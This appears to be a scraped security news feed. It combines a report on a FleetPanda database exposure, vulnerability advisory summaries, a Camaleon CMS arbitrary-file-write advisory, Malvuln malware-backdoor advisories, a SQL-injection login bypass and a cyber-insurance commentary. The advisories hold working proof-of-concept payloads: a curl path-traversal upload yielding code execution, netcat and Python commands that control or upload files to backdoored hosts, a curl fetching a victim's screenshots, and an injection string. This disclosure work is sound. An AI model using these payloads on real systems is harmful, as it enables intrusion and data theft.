A server misconfiguration exposed a trove of documents belonging to FleetPanda, a leading petroleum and fuel industry software…

A server misconfiguration exposed a trove of documents belonging to FleetPanda, a leading petroleum and fuel industry software provider. Sensitive data including invoices, driver applications, and personal information was exposed. Learn about the potential risks and how to protect yourself.

A major server misconfiguration exposed nearly one million documents belonging to FleetPanda, a leading software provider serving the petroleum and fuel industry. The exposed data included sensitive information such as invoices, driver applications, license images, and background checks in.PDF, .jpg, and other image formats.

The incident was discovered by cybersecurity researcher Jeremiah Fowler, who reported the incident to WebsitePlanet. The exposed database, which was left unprotected without any password or security authentication, contained 780,191 documents with a size of 193 GB. The documents revealed shipments of fuel and petroleum to and from numerous companies, industries, and even pipelines.

Fowler also discovered documents containing fuel and petroleum shipments, invoices, delivery tickets, and other business-related records in folders from 2019 to August 2024 and linked to various states including delivery details from California, Oregon, Texas, Colorado, and Oklahoma. The files included drivers, licenses, stores, synctrucks, vehicles, and workers. 

Further probing according to WebsitePlanet’s report shared with Hackread.com ahead of publishing, revealed that the database contained potentially sensitive information, including high-resolution images of driver’s licenses and employment applications with SSN (Social Security Numbers) and PII. The exposed business records and personal data could raise security and privacy concerns. However, it is unclear whether FleetPanda managed the database or a third party.

For your information, FleetPanda is a California-based company providing dispatch management, driver app, reporting and analytics, invoicing, and other services to the petroleum and fuel industry. 

The exposure of sensitive data can lead to a wide range of risks. Personal information, such as social media and driver’s license details, can be used for identity theft, causing financial loss and reputation damage. Criminals can create fraudulent invoices using the exposed invoices and trick organizations into making unauthorized payments. 

The server misconfiguration could potentially disrupt the supply chain of the petroleum and fuel industry, leading to shortages and price increases. Moreover, the exposed data could be used to launch targeted cyberattacks against FleetPanda’s customers or other organizations in the industry.

For instance, a sample screenshot shows an invoice for 9,900 gallons of diesel fuel, valued at $41,000, due to the high retail cost of diesel fuel in the US. This high value of money could make the industry a potential target for criminals in the high-value market.

Fowler recommends organizations should store “important employee data separately from standard operating and business documents” like invoices. In addition, organizations should implement strong access controls, regularly update software and systems, educate employees on cybersecurity best practices, and monitor networks and systems for signs of unauthorized access or server misconfiguration to protect against such incidents.

1.  **Data Leak Exposes Business Leaders and Top Celebrity Data**
2.  **2 TB of ServiceBridge Data Exposed in Cloud Misconfiguration**
3.  **Unsecured Database Exposed 39 Million Sensitive Legal Records**
4.  **Millions of US Voter Data Exposed in 13 Misconfigured Databases**
5.  **Mexico’s Largest ERP Provider ClickBalance Exposes 769M Records**
6.  **Database Mess: Aussie Food Giant Patties Foods Leak Trove of Data**

Server Misconfiguration at Fuel Industry Software Provider Exposes SSNs, PII Data

An arbitrary code execution vulnerability exists in versions 0.2.9 up to 0.5.10 of the Guardrails AI Guardrails framework because of the way it validates XML files. If a victim user loads a maliciously crafted XML file containing Python code, the code will be passed to an eval function, causing it to execute on the user's machine.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-w392-75q8-vr67: Guardrails has an arbitrary code execution vulnerability

An issue was discovered in CoreDNS through 1.10.1. There is a vulnerability in DNS resolving software, which triggers a resolver to ignore valid responses, thus causing denial of service for normal resolution. In an exploit, the attacker could just forge a response targeting the source port of a vulnerable resolver without the need to guess the correct TXID.

GHSA-hfmw-7g3m-gj6q: CoreDNS vulnerable to TuDoor Attacks

Insecure deserialization in sqlitedict up to v2.1.0 allows attackers to execute arbitrary code.

GHSA-g4r7-86gm-pgqc: sqlitedict insecure deserialization vulnerability

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87) method, the file_upload and the folder parameter
```ruby
def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end
```
are passed to the [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24) method. Inside that method the given settings are [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42) with some presets. The file format is [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62) the formats settings we can override with the formats parameters.

```ruby
# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )
```
Our given folder is then [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74) to the Cama_uploader:

```ruby
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
```
In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77) method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

```ruby
def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end
```
Proof of concept
Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \
 -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
    -b $'auth_token=[..]; _cms_session=[..]' \
    --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED                   =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
    $'https://<camaleon-host>/admin/media/upload?actions=false'
Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:

puts "================================="
puts "================================="
puts "= COMPROMISED                   ="
puts "================================="
puts "================================="
Once Camaleon CMS is restarted following output will be visible in the log:

=================================
=================================
= COMPROMISED                   =
=================================
=================================
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Remediation
Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file\_upload and the folder parameter

def upload(settings \= {})
  params\[:dimension\] \= nil if params\[:skip\_auto\_crop\].present?
  f \= { error: 'File not found.' }
  if params\[:file\_upload\].present?
    f \= upload\_file(params\[:file\_upload\],
                    { folder: params\[:folder\], dimension: params\['dimension'\], formats: params\[:formats\], versions: params\[:versions\],
                      thumb\_size: params\[:thumb\_size\] }.merge(settings))
  end
  \[..\]
end

are passed to the upload\_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

\# formats validations
  return { error: "#{ct('file\_format\_error')} (#{settings\[:formats\]})" } unless cama\_uploader.class.validate\_file\_format(
    uploaded\_io.path, settings\[:formats\]
 )

Our given folder is then passed unchecked to the Cama\_uploader:

key \= File.join(settings\[:folder\], settings\[:filename\]).to\_s.cama\_fix\_slash
res \= cama\_uploader.add\_file(settings\[:uploaded\_io\], key, { same\_name: settings\[:same\_name\] })

In the add\_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add\_file(uploaded\_io\_or\_file\_path, key, args \= {})
  \[..\]
  upload\_io \= uploaded\_io\_or\_file\_path.is\_a?(String) ? File.open(uploaded\_io\_or\_file\_path) : uploaded\_io\_or\_file\_path
  File.open(File.join(@root\_folder, key), 'wb') { |file| file.write(upload\_io.read) }
  \[..\]
end

Proof of concept  
Precondition: A valid account of a registered user is required. (The values for auth\_token and \_cms\_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST'  
\-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: _/_' -H $'Connection: keep-alive'  
\-b $'auth\_token=\[..\]; \_cms\_session=\[..\]'  
\--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\\x0d\\x0aContent-Disposition: form-data; name="file\_upload"; filename="test.rb"\\x0d\\x0aContent-Type: text/x-ruby-script\\x0d\\x0a\\x0d\\x0aputs "================================="\\x0aputs "================================="\\x0aputs "= COMPROMISED ="\\x0aputs "================================="\\x0aputs "================================="\\x0d\\x0a------WebKitFormBoundary80dMC9jX3srWAsga\\x0d\\x0aContent-Disposition: form-data; name="folder"\\x0d\\x0a\\x0d\\x0a../../../config/initializers/\\x0d\\x0a------WebKitFormBoundary80dMC9jX3srWAsga\\x0d\\x0aContent-Disposition: form-data; name="skip\_auto\_crop"\\x0d\\x0a\\x0d\\x0atrue\\x0d\\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\\x0d\\x0a'  
$'https:///admin/media/upload?actions=false'  
Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:

puts "================================="  
puts "================================="  
puts "= COMPROMISED ="  
puts "================================="  
puts "================================="  
Once Camaleon CMS is restarted following output will be visible in the log:

**\=================================****\= COMPROMISED =**

\=================================  
Impact  
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Remediation  
Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

CodeQL: Uncontrolled data used in path expression  
OWASP: Path Traversal

**References**

*   GHSA-wmjg-vqhv-q5p5
*   owen2345/camaleon-cms@b3b12b1

GHSA-wmjg-vqhv-q5p5: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)

Backdoor.Win32.CCInvader.10 malware suffers from a bypass vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/cb86af8daa35f6977c80814ec6e40d63.txtContact: malvuln13@gmail.comMedia: x.com/malvuln  Threat: Backdoor.Win32.CCInvader.10Vulnerability: Authentication BypassDescription: The malware runs an FTP server.  Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.Family: CCInvaderType: PE32MD5: cb86af8daa35f6977c80814ec6e40d63SHA256: 8420788f3a575cade5f579bcbf56bb67566bca27c2b9d11dbbafffadef491f31Vuln ID: MVID-2024-0694Disclosure: 09/17/2024Exploit/PoC:ncat64.exe 192.168.18.125 21220 ICS FTP Server readyUSER gg331 Password required for ggPASS gg230 User gg logged in.SYST215 UNIX Type: L8 Internet Component Suite250 CWD command successful. "C:/" is current directory.PWD257 "C:/" is current directory.PASV227 Entering Passive Mode (192,168,18,125,243,249).STOR DOOM.exe150 Opening data connection for DOOM.exe.226 File received okfrom socket import *MALWARE_HOST="192.168.18.125"PORT=62457   #243 x 256 + 249DOOM="DOOM.exe"def doit():    s=socket(AF_INET, SOCK_STREAM)    s.connect((MALWARE_HOST, PORT))    f = open(DOOM, "rb")    EXE = f.read()    s.send(EXE)    while EXE:        s.send(EXE)        EXE=f.read()    s.close()    print("By Malvuln");if __name__=="__main__":    doit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.CCInvader.10 MVID-2024-0694 Authentication Bypass

Backdoor.Win32.BlackAngel.13 malware suffers from a code execution vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/d1523df44da5fd40df92602b8ded59c8.txtContact: malvuln13@gmail.comMedia: x.com/malvuln  Threat: Backdoor.Win32.BlackAngel.13Vulnerability: Unauthenticated Remote Command ExecutionDescription: The malware listens on TCP port 1850. Third party adversaries who can reach an infected host can issue commands made available by the backdoor. Example, send messages to victim "!msg", open launch the browser and open webpages "!url" etc.Family: BlackAngelType: PE32MD5: d1523df44da5fd40df92602b8ded59c8SHA256: 8a6e876f7452ae0a11342b852c70771a7f80b87c2e451656aaebb18b350c4b27Vuln ID: MVID-2024-0695Disclosure: 09/17/2024Exploit/PoC:nc64.exe x.x.x.x 1850Connected to host (DESKTOP-3C4IQJO)                                                                                                                                                                                                              !msg GG Forever!!msg Greetz Edu_Braun_0day, Indoushka, Dirty0tis!url https://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt!quit[commands list]!msg!opencd!closecd!exitwin!reboot!logoff!getdrive!gettree!getfile!putfile!ren!del!swap!noswap!mdisable!kdisable!url!bck!sound!txt!dos!beep!nobeep!quit!hangDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.BlackAngel.13 MVID-2024-0695 Code Execution

Backdoor.Win32.Delf.yj malware suffers from an information leakage vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/f991c25f1f601cc8d14dca4737415238.txtContact: malvuln13@gmail.comMedia: x.com/malvuln  Threat: Backdoor.Win32.Delf.yjVulnerability: Information DisclosureDescription: The malware listens on TCP port 8080. Third-party adversaries who can reach an infected system, can  download screen captures of a victims machine by making a simple HTTP GET request.Family: DelfType: PE32MD5: f991c25f1f601cc8d14dca4737415238SHA256: 512af3cc193e9cb7f0b6204889bc457affded79aa62c41ab20a74625e4279caaVuln ID: MVID-2024-0693Dropped files: dxdiag.scrDisclosure: 09/17/2024Exploit/PoC:curl 192.168.18.125:8080  --output victim.jpg  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100  106k  100  106k    0     0   338k      0 --:--:-- --:--:-- --:--:--  341kDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Delf.yj MVID-2024-0693 Information Disclosure

Online Bus Ticket Booking Website version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : online bus ticket booking Website v1.0 Auth By PAss Vulnerability                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2024/202406/kashipara.com_online-bus-ticket-booking-.zip           |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] User : 'or''='@gmail.com & PAss = 'or''='[+] http://127.0.0.1/online-bus-ticket-booking-Website/login.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Online Bus Ticket Booking Website 1.0 SQL Injection

Ultimately, the goal of businesses and cyber insurers alike is to build more resilient IT environments to avoid cyberattacks and the ransom, downtime, and reputation hit that come along with them.

Source: Olekcii Mach via Alamy Stock Photo

COMMENTARY

The rising cost of cyberattacks, including downtime, investigations, lawsuits, ransoms, and more are prompting cyber insurers to re-examine underwriting and encourage greater cyber resiliency in their customer bases. With the influx of cyber-insurance claims stemming from the CrowdStrike IT outage and the exorbitant price of recovering from data breaches — $4.88 million, on average, according to IBM — the cyber-insurance industry will continue to self-correct and evolve to fit market needs while maintaining profitability.

Insurers will come away from July's widespread IT outage relatively unscathed, as the outages were caused by a vendor error, not a cyberattack, and because it was fixed fairly quickly. Still, insurer Parametrix estimates insured losses from US Fortune 500 companies will total $540 million to $1.08 billion, not even including Microsoft. Now, imagine this is a cyberattack that goes through a third-party software-as-a-service (SaaS) provider and takes down a similar swath of business, but recovery is slower, and companies must pay ransoms to recoup their data. How many billions of dollars will cyber insurers be out then? 

Because cybersecurity is still a relatively new corner of the insurance market, ambiguity remains around what should be covered, the role cyber insurance plays in potentially encouraging ransom payments, etc. There's no doubt that it's still finding its footing, figuring out in real-time and on a world stage how to insure companies against rapidly changing and advancing cybersecurity threats.

This evolution will be what finally causes businesses to face reality and prioritize cyber resiliency to ensure data is always recoverable in the event their primary network is taken offline or data is held for ransom. Companies may not take it upon themselves to invest in better data protection practices, and the cyber-insurance market ultimately will force their hand.

**Cyber Insurers Drag Us Into the Future**

Over the past five years, the rise of ransomware has shifted not only an organization's risk profile but also the estimated payouts. In many insurance policies, it's all about risk mitigation, but unless an underwriter can accurately assess the risk or implement requirements to mitigate the threat, it becomes a financial business risk for the insurance company. Therefore, cyber-insurance prices have significantly risen along with the bar to qualify for coverage.

Many of the new requirements focus on data storage and backups. Segmented, encrypted, and immutable backups are the industry standard, but because of limited resources, unawareness, or segmented cybersecurity teams, it hasn't always been a prioritized industry standard. Now, companies will have no choice but to up their game if they want coverage. Those who fail to adopt these requirements will be left without insurance or an effective recovery plan, unable to financially recover when the inevitable ransomware attack hits.

However, in June, businesses stood before the House Homeland Security Committee and told Congress that they are struggling to obtain cyber insurance, and even once insurance is secured, they struggle to understand the nuances of what's covered. Plus, ransom payments themselves are increasing as cybercriminals learn they can demand, and receive, large payouts. According to Chainalysis, the median ransom payment in 2024 was $1.5 million as of July, a huge increase from $200,000 in early 2023.

Because such a significant portion of companies are uncertain what is actually covered by their cyber insurance — around 40%, according to Sophos — they can't risk having to pay the whole ransom themselves or face never recovering their valuable data. Companies must do what they can to reduce their own risk.

**Recoverable Data Is Its Own Form of Cyber Insurance**

Companies can reduce the cost of attacks by ensuring data remains recoverable, mitigating operational downtime, and preventing the need to pay ransoms. Ransomware relies on the fact that production or backup data is made useless for organizations to recover following an attack, but with immutable backup in place, organizations ensure access to their data remains. This is especially true as ransomware is now targeting backups specifically.

Immutability is a must-have for any type of backup storage because it is time-based, not key-based like encryption. This means that there is truly no way (outside of destruction of the physical hardware) to alter or remove the backup data once it is written into a device that has object lock, i.e., immutability, enabled. You can truly maximize this strategy by encrypting backup data before writing it to immutable storage; that way, it's unreadable (unless you have the key) and unalterable. 

It's also important to ensure that a disaster recovery plan is in place that includes a multilevel backup solution and disaster recovery testing on a weekly and monthly basis to get ahead of any potential issues. Once these are implemented, keep copies of all the backup tests to prove to an insurance company that you have a lower risk factor. 

Ultimately, the goal of businesses and cyber insurers alike is to build more-resilient IT environments to avoid cyberattacks and the ransom, downtime, and reputation hit that come along with them. Law enforcement will continue to fight cybercrime, but there's no indication it will let up. Changes in the cyber-insurance market have the potential to disrupt the threat landscape by prompting the ubiquitous adoption of backup best practices and cyber resiliency.

**About the Author**

CEO, Object First

Object First CEO, David Bennett is a tech veteran and a seasoned channel executive with more than 30 years of IT channel leadership. Before joining Object First, he was CEO of Axcient and chief revenue officer at Webroot. Bennett has also held international leadership roles within such companies as Lenovo, Sony, and Kingston. British-born, he now resides in Colorado with his wife and family.

Tag

#web